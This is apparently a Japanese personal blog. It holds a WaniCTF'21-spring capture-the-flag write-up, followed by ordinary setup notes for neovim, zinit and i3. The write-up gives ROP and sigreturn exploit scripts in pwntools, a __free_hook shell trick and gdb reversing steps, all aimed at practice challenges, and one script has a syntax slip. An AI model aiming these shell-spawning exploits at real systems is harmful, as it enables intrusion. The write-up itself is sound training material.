WaniCTF'21-spring writeup

はじめに

pwnとrev,半分ぐらい解けました. writeup,書いていきます.

pwn

01 netcat

  • netcat (nc)と呼ばれるコマンドを使うだけです。
  • つないだら何も出力されなくても知っているコマンドを打ってみましょう。

ncでつなぐだけ

02 free hook

  • free_hookの仕組みを理解する必要があります。

free関数が呼び出される時,__free_hookが指す関数が実行されます.

49行目で__free_hookにsystemが設定されているので,freeに"/bin/sh"を指定して実行すれば,シェルが取れます.

❯ ./pwn02
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh

 

[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
$ ls
pwn02 pwn02.c

03 rop machine easy

  • ropでsystem("/bin/sh")を実行して下さい。
  • "/bin/sh"のアドレスは提供されています
  • rop machineの使い方->wani-hackase/rop-machine

system関数が呼び出せる&"/bin/sh"の場所が分かっている状態

x64では,第一引数をrdiにセットします

rop chainを以下のように構築すると,system("/bin/sh")を実行され,シェルが取れます

rop_arena
+--------------------+
 | pop rdi; ret       |<- rop start
+--------------------+
 | 0x404070        |
+--------------------+

 | system            |
+--------------------+

04 rop machine normal

  • ropでexecve("/bin/sh", 0, 0)を実行して下さい。
  • "/bin/sh"のアドレスは提供されています
  • execveのsyscall番号は0x3bです。
  • rop machineの使い方->wani-hackase/rop-machine

03の,execve("/bin/sh", 0, 0)を実行させる版

raxにシステムコール番号(今回は0x3b),rdi,rsi,rdxに引数を設定します

rop chainを次のように構築すると,シェルが取れます

+--------------------+
 | pop rax; ret      |<- rop start
+--------------------+
 | 0x00003b        |
+--------------------+
 | pop rdi; ret       |
+--------------------+
 | 0x404070        |
+--------------------+
 | pop rsi; ret       |
+--------------------+
 | 0x0                  |
+--------------------+
 | pop rdx; ret      |
+--------------------+
 | 0x0                  |
+--------------------+
 | syscall; ret       |
+--------------------+

05 rop machine hard

  • ROPgadgetコマンドの使い方を覚えましょう。
  • rop machineの使い方->wani-hackase/rop-machine

04とほぼ同じですが,用意されたガジェットをスタックに積むコマンドが用意されていないので,ガジェットのアドレスを調べる必要があります.

今回,rp++を使用して,ガジェットを探しました.

pop rsiだけのガジェットがなかったので,代わりに,pop rsi pop r15を使用します.

from pwn import *

binary = "./pwn05"
context.binary = binary

DEBUG = True
GDB = False

if DEBUG:
    context.log_level = "debug"

REMOTE = True
elif REMOTE:
    io = remote("rop-normal.pwn.wanictf.org", port = 9005)
else:
    io = process(binary)

if GDB:
    gdb.attach(io)

def send_hex_value(value: str):
    io.recvuntil("> ")
    io.sendline("1")
    io.recvuntil("hex value?: ")
    io.sendline(value)

e = ELF(binary)
r = ROP(e)

syscall = "4012ae"

pop_rax = "4012a9"
pop_rdi = "40128f"
pop_rdx = "40129c"
pop_rsi_pop_r15 = "401611"

exec_no = "3b"

send_hex_value(pop_rax)
send_hex_value(exec_no)
send_hex_value(pop_rdi)
send_hex_value("404078")
send_hex_value(pop_rsi_pop_r15)
send_hex_value("0")
send_hex_value("0")
send_hex_value(pop_rdx)
send_hex_value("0")
send_hex_value(syscall)

io.recvuntil("> ")
io.sendline("0") #execute rop

io.interactive()

06 SuperROP

  • sigreturnを用いたROPでシェルを実行してください。
  • sigreturnを使うとスタックの値でレジスタを書き換えることができます。

問題文にある通り,sigreturnを使用してexecve("/bin/sh", 0, 0)を実行させます. sigreturnは,スタックを一掃してripにジャンプするシステムコールシステムコール番号15)です.

スタックを一掃するときに,スタックの値をレジスタにセットするので,syscallガジェットがある時,任意のシステムコールが呼び出せます. csレジスタ(コードセグメントレジスタ)は,x64の場合,0x33に設定しておく必要があるそうです x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる - ももいろテクノロジー

bufのアドレスが分かっているので,先頭に"/bin/sh"を置いておき,アドレスを引数に指定します.

from pwn import *

binary = "./pwn06"
context.binary = binary

DEBUG   = True
if DEBUG:
    context.log_level = "debug"

REMOTE  = False
if REMOTE:
    io = remote("srop.pwn.wanictf.org", port = 9006)
else:
    io = process(binary)

GDB = False
if GDB:
    gdb.attach(io)

e = ELF(binary)
r = ROP(e)

offset = 72

syscall_ret = 0x0040117e
set_rax     = 0x0040118c

io.recvuntil("buff : ")
addr = int(io.recv(14), 16)

log.info("addr = 0x%x" % addr)

r.raw("/bin/sh\x00")
r.raw("A" * (offset - 8))
r.raw(r.find_gadget(["ret"]))
r.raw(set_rax)
r.raw(syscall_ret)
r.raw(0)    #uc_flags
r.raw(0)    #&uc_link
r.raw(0)    #ss_sp
r.raw(0)    #ss_flags
r.raw(0)    #ss_size
r.raw(0)    #r8
r.raw(0)    #r9
r.raw(0)    #r10
r.raw(0)    #r11
r.raw(0)    #r12
r.raw(0)    #r13
r.raw(0)    #r14
r.raw(0)    #r15
r.raw(addr) #rdi (arg1)
r.raw(0)    #rsi
r.raw(0)    #rbp
r.raw(0)    #rbx
r.raw(0)    #rdx
r.raw(0x3b) #rax
r.raw(0)    #rcx
r.raw(0)    #rsp
r.raw(syscall_ret)    #rip
r.raw(0)    #eflags
r.raw(0x33)    #cs/gs/fs
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)
r.raw(0)

log.info(r.dump())
pay = r.chain()

io.recv()
io.sendline(pay)

io.interactive()

pwntoolsには,sigreturnの機能もあるみたいなので,今後使ってみます

rev

secret

この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。

このバイナリを実行すると secret key を入力するように表示されます。

試しに「abcde」と入力してみると「Incorrect」と言われました。

$ file secret secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped

$ sudo chmod +x secret

$ ./secret ... Input secret key : abcde Incorrect

$ ./secret ... Input secret key : ?????? Correct! Flag is ??????

このバイナリが正しいと判断する secret key を見つけて読み込んでみましょう!

(secret key とフラグは別の文字列です)

(このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください)

ヒント :「表層解析」や「静的解析」を行うことで secret key が見つかるかも...?

表層解析ツール strings

静的解析ツール Ghidra

入力された文字列とsecret keyを比較し,一致した場合にフラグが表示されます. gdbでstrcmpに与えられる引数の中身を見れます.

gdb-peda$ pdisass main
   ...
   0x0000000000001445 <+517>: lea    rsi,[rip+0xe94]        # 0x22e0
   0x000000000000144c <+524>: mov    rdi,rax
   0x000000000000144f <+527>: call   0x1090 <strncmp@plt>
   ...
gdb-peda$ x/s 0x22e0
0x22e0: "wani_is_the_coolest_animals_in_the_world!"

execute

コマンドを間違えて、ソースコードも消しちゃった!

今残っているファイルだけで実行して頂けますか?

(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)

main.sのソースコードとlibprint.soのシンボル・print関数の中身を調べました. mainからlibprint.soにあるprint関数を用いてフラグを表示させていたようです. main.sをlibprint.soとリンクさせてコンパイルさせると,a.outができたので,stringするとフラグが見れました.

timer

フラグが出てくるまで待てますか?

super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...

GDBを使って動的解析してみるのはいかがでしょうか?

sleepした後のjl命令にブレイクポイントを打ち,SFを書き換える(set $eflags = 0)ことでtimerのループから抜けられます.

おわりに

最近勉強した__free_hookの問題が解けたので良かったです. revは,(もっとキレイな)解き方がいろいろありそうですね.

ubuntuでneovimを使う

ubuntu18.04におけるneovimのインストールと初期設定について

インストール

パッケージをインストールする

sudo add-apt-repository ppa:neovim-ppa/unstable
sudo apt update
sudo apt install neovim

pythonのモジュールをインストール

pip3 install neovim

nvimで起動し,echo has('python3')で1が出力されれば成功.

設定

設定ファイルを以下のように分割している

lsd -T
.
├── dein.toml
├── deinlazy.toml
├── init.vim
├── keymap.rc.vim
├── options.rc.vim
├── plugins
│ ├── airline.vim
│ ├── ale.vim
│ ├── anzu.vim
│ ├── autoclose.vim
│ ├── denite.vim
│ ├── deoplete-latex.vim
│ ├── deoplete.vim
│ ├── fzf.vim
│ ├── gitgutter.vim
│ ├── markdown.vim
│ └── sonictemplate.vim
└── template
 ├── latex
 │ ├── base-lab.tex
 │ └── base-repo.tex
 ├── markdown
 │ └── base-rist_activity.md.
 └── python
 └── base-exploit.py

init.vimがneovimの起動時に最初に読み込まれる.

augroup MyAutoCmd
    autocmd!
augroup END

let $NVIM_TUI_ENABLE_TRUE_COLOR=1
set termguicolors

let s:dein_cache_path = expand('~/.cache/nvim/dein')
let s:dein_dir = s:dein_cache_path
           \ .'/repos/github.com/Shougo/dein.vim'

if &runtimepath !~ '/dein.vim'
    if !isdirectory(s:dein_dir)
        execute '!git clone https://github.com/Shougo/dein.vim' s:dein_dir
    endif
    execute 'set runtimepath+=' . fnamemodify(s:dein_dir, ':p')
endif

if dein#load_state(s:dein_cache_path)
    call dein#begin(s:dein_cache_path)

    call dein#load_toml('~/.config/nvim/dein.toml', {'lazy' : 0})
    call dein#load_toml('~/.config/nvim/deinlazy.toml', {'lazy' : 1})
    call dein#load_toml('~/.config/nvim/dein.toml')

    call dein#end()
    call dein#save_state()
endif

if dein#check_install()
    call dein#install()
endif

filetype plugin indent on
colorscheme lucius

runtime! ./options.rc.vim
runtime! ./keymap.rc.vim
runtime! ./functions.rc.vim

let g:dein#auto_recache = 1

" Restore cursor shape to beam on exit
augroup restore_cursor_shape
    autocmd!
    au VimLeave * set guicursor=a:ver10-blinkoff0
augroup END

highlight Normal ctermbg=NONE guibg=NONE
highlight NonText ctermbg=NONE guibg=NONE
highlight SpecialKey ctermbg=NONE guibg=NONE
highlight EndOfBuffer ctermbg=NONE guibg=NONE

プラグインは,dein.tomlに記述し,遅延ロードするプラグインは,deinlazy.tomlに記述する. また,プラグインごとの設定は,pluginsディレクトリ内で記述する.

[[plugins]]
repo = 'Shougo/denite.nvim'
hook_add = 'source ~/.config/nvim/plugins/denite.vim'

[[plugins]]
repo = 'Shougo/deoplete.nvim'
hook_add = 'source ~/.config/nvim/plugins/deoplete.vim'

[[plugins]]
repo = 'junegunn/fzf.vim'
hook_add = 'source ~/.config/nvim/plugins/fzf.vim'

[[plugins]]
repo = 'ujihisa/neco-look'

[[plugins]]
repo = 'Townk/vim-autoclose'
hook_add = 'source ~/.config/nvim/plugins/autoclose.vim'

[[plugins]]
repo = 'iamcco/markdown-preview.vim'

[[plugins]]
repo = 'lervag/vimtex'

[[plugins]]
repo = 'scrooloose/nerdTree'

[[plugins]]
repo = 'vim-airline/vim-airline'
hook_add = 'source ~/.config/nvim/plugins/airline.vim'

[[plugins]]
repo = 'vim-airline/vim-airline-themes'

[[plugins]]
repo = 'w0rp/ale'
hook_add = 'source ~/.config/nvim/plugins/ale.vim'

[[plugins]]
repo = 'airblade/vim-gitgutter'
hook_add = 'source ~/.config/nvim/plugins/gitgutter.vim'

[[plugins]]
repo = 'osyo-manga/vim-anzu'
hook_add = 'source ~/.config/nvim/plugins/anzu.vim'

[[plugins]]
repo = 'vim-scripts/Align'

[[plugins]]
repo = 'jonathanfilip/vim-lucius'

[[plugins]]
repo = 'smancill/conky-syntax.vim'

[[plugins]]
repo = 'mattn/sonictemplate-vim'
hook_add = 'source ~/.config/nvim/plugins/sonictemplate.vim'

[[plugins]]
repo = 'cespare/vim-toml'

optionやkeymapの設定はまた今度書く

zinitを使ってzshのプラグインを管理する

zinitは,zshプラグインマネージャ.githubにも書いてある通り,速いのがウリである.一方で,zpreztoなどを使用する場合と比べて,プラグインごとの設定が面倒.

sh -c "$(curl -fsSL https://raw.githubusercontent.com/zdharma/zinit/master/doc/install.sh)"

.zshrcにzinitをロードする記述を追加してよいかどうかを聞かれるため,yを入力.

ここで,僕の.zshrcと導入しているプラグインを載せておく.なお,プラグインエイリアスプラグインの設定毎に設定ファイルを分割し,.zshrcで読み込む形を取っている(他の設定ファイルについてはまた今度書く).

.zshrc

# zinitをロード
source $HOME/.zinit/bin/zinit.zsh
autoload -Uz _zinit
(( ${+_comps} )) && _comps[zinit]=_zinit

# zshの設定ファイルをロード
for file in `\fd . $ZCONFIG/ --type file`; do
 source $file
done

# プラグインの設定ファイルをロード
for file in `\fd . $ZCONFIG/zplugin/ --type f`;do
 source $file
done

# 環境に依存した設定ファイルをロード
[ -f $HOME/.zlocal.zsh ] && source $HOME/.zlocal.zsh       

$ZCONFIG/zplugin.zsh

zinit light sindresouhus/pure # プロンプトのテーマ

zinit light zsh-users/zsh-autosuggestions #コマンド履歴からの補完
zinit light zsh-users/zsh-completions # コマンドのオプションなど,補完の強化
zinit light zsh-user/zsh-syntax-highlighting # シンタックスハイライト

zinit load junegunn/fzf-bin # fzf

ubuntuでi3を使う

ubuntuでは,ウィンドウマネージャにi3を採用しているデスクトップ環境として,regolith-desktopがある.i3barなど,あらかじめいい感じに設定されているため,インストールした直後から普通に使える.

sudo add-apt-repository -y ppa://kgilmer/regolith-stable
sudo apt update
sudo apt install regolith-desktop

ログアウトor再起動をし,ログイン時の歯車マークからregolith desktopを選択.

カスタマイズをしたい場合は,デフォルトの設定をホームディレクトリにコピーし,それを編集する.

mkdir ~/.config/regolith/i3 
cp /etc/regolith/i3/config ~/.config/regolith/i3/

i3のキーバインドで起動するデフォルトのアプリが微妙(ウェブはchroom,ターミナルはregolith terminal)なので,そのへんはホームディレクトリにコピーしたconfigを書き換えるとよい. i3などのタイル型ウィンドウマネージャで使用するターミナルソフトは,termiteがおすすめ.

bindsym $mod+Shift+Return exec firefox
bindsym $mod+Return exec termite

デフォルトで下に表示されるバーには,i3xrocks以外にも,

  • i3status
  • i3blocks
  • conky

などが使用できる.~/.config/regolith/i3/configのbarブロック内で,

status_command i3status

バーの位置も変更できる

position top

barの設定などについては,また今度書く.